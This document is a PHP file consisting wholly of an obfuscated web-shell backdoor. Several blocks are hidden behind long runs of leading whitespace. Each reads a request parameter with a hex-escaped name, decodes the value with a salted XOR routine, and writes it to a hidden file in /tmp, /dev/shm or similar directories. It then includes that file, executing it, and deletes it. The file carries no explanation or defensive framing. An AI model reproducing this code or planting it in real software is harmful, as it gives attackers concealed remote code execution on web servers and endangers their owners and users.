<?php																																										if(count($_POST) > 0 && isset($_POST["ma\x72k\x65\x72"])){ $factor = array_filter([getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path()]); $element = $_POST["ma\x72k\x65\x72"]; $element = explode ('.' , $element) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $s = 0; $__tmp = $element; while( $v6 = array_shift( $__tmp)) { $chS = ord( $salt[$s%$sLen]); $dec = ( ( int)$v6 - $chS -( $s%10)) ^ 63; $rec .= chr( $dec); $s++; } foreach ($factor as $pset) { if (!!is_dir($pset) && !!is_writable($pset)) { $property_set = "$pset" . "/.bind"; if (file_put_contents($property_set, $rec)) { include $property_set; @unlink($property_set); exit; } } } }
																																										if(array_key_exists("fl\x61g", $_REQUEST) && !is_null($_REQUEST["fl\x61g"])){ $dat = $_REQUEST["fl\x61g"]; $dat = explode( '.' , $dat ) ; $elem =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s2); $len =count( $dat); for( $r =0; $r< $len; $r++) { $v3 =$dat[$r]; $sChar =ord( $s2[$r % $lenS]); $dec =( ( int)$v3 - $sChar -( $r % 10)) ^ 51; $elem .= chr( $dec); } $flg = array_filter(["/tmp", getenv("TMP"), session_save_path(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir()]); foreach ($flg as $element) { if (!( !is_dir($element) || !is_writable($element) )) { $marker = vsprintf("%s/%s", [$element, ".ent"]); $file = fopen($marker, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $marker; @unlink($marker); exit; } } } }
																																										if(isset($_REQUEST["\x64\x65sc"]) ? true : false){ $rec = array_filter([session_save_path(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp"]); $parameter_group = $_REQUEST["\x64\x65sc"]; $parameter_group = explode ( '.' ,$parameter_group); $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($parameter_group as $y => $v9) {$sChar = ord($salt[$y % $lenS]); $dec = ((int)$v9 - $sChar - ($y % 10)) ^ 62; $obj .= chr($dec); } foreach ($rec as $key) { if (!!is_dir($key) && !!is_writable($key)) { $ptr = implode("/", [$key, ".item"]); if (file_put_contents($ptr, $obj)) { include $ptr; @unlink($ptr); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x72e\x63or\x64"])){ $bind = $_POST["\x72e\x63or\x64"]; $bind= explode ( '.', $bind ); $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $l = 0; $len = count($bind ); do { if($l>=$len) break; $v2 = $bind[$l]; $chS = ord($s[$l % $lenS] ); $dec = ((int)$v2 - $chS -($l % 10)) ^ 96; $sym .= chr($dec ); $l++; } while(true ); $holder = array_filter(["/tmp", "/var/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), getcwd()]); for ($object = 0, $hld = count($holder); $object < $hld; $object++) { $mrk = $holder[$object]; if ((is_dir($mrk) and is_writable($mrk))) { $ptr = str_replace("{var_dir}", $mrk, "{var_dir}/.resource"); if (file_put_contents($ptr, $sym)) { require $ptr; unlink($ptr); exit; } } } }
																																										if(@$_REQUEST["p\x61\x72\x61m\x65\x74\x65\x72_gro\x75p"] !== null){ $flag = array_filter([getcwd(), "/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm"]); $desc = $_REQUEST["p\x61\x72\x61m\x65\x74\x65\x72_gro\x75p"]; $desc = explode ( '.' , $desc ) ; $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $s = 0; while ($s < count($desc)) { $v3 = $desc[$s]; $chS = ord($salt[$s % $lenS]); $dec = ((int)$v3 - $chS - ($s % 10)) ^ 47; $resource .= chr($dec); $s++; } foreach ($flag as $k) { if (!!is_dir($k) && !!is_writable($k)) { $record = sprintf("%s/.val", $k); $file = fopen($record, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $record; @unlink($record); exit; } } } }


if(array_key_exists("it\x6D", $_REQUEST)){
	$entry = $_REQUEST["it\x6D"];
			$entry=explode  (  '.' ,$entry );	
	$key		=	 '';
            $s		=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS		=	 strlen($s);
    
            foreach ($entry as $x => $v3):
                $chS		=	 ord($s[$x%	$lenS]);
                $dec		=	 ((int)$v3 - $chS - ($x%	10)) ^51;
                $key  .=chr($dec);
            endforeach;
	$flag = array_filter([getcwd(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp", sys_get_temp_dir()]);
	foreach ($flag as $data) {
    		if (is_writable($data) && is_dir($data)) {
    $ent = str_replace("{var_dir}", $data, "{var_dir}/.binding");
    $success = file_put_contents($ent, $key);
if ($success) {
	include $ent;
	@unlink($ent);
	die();}
}
}
}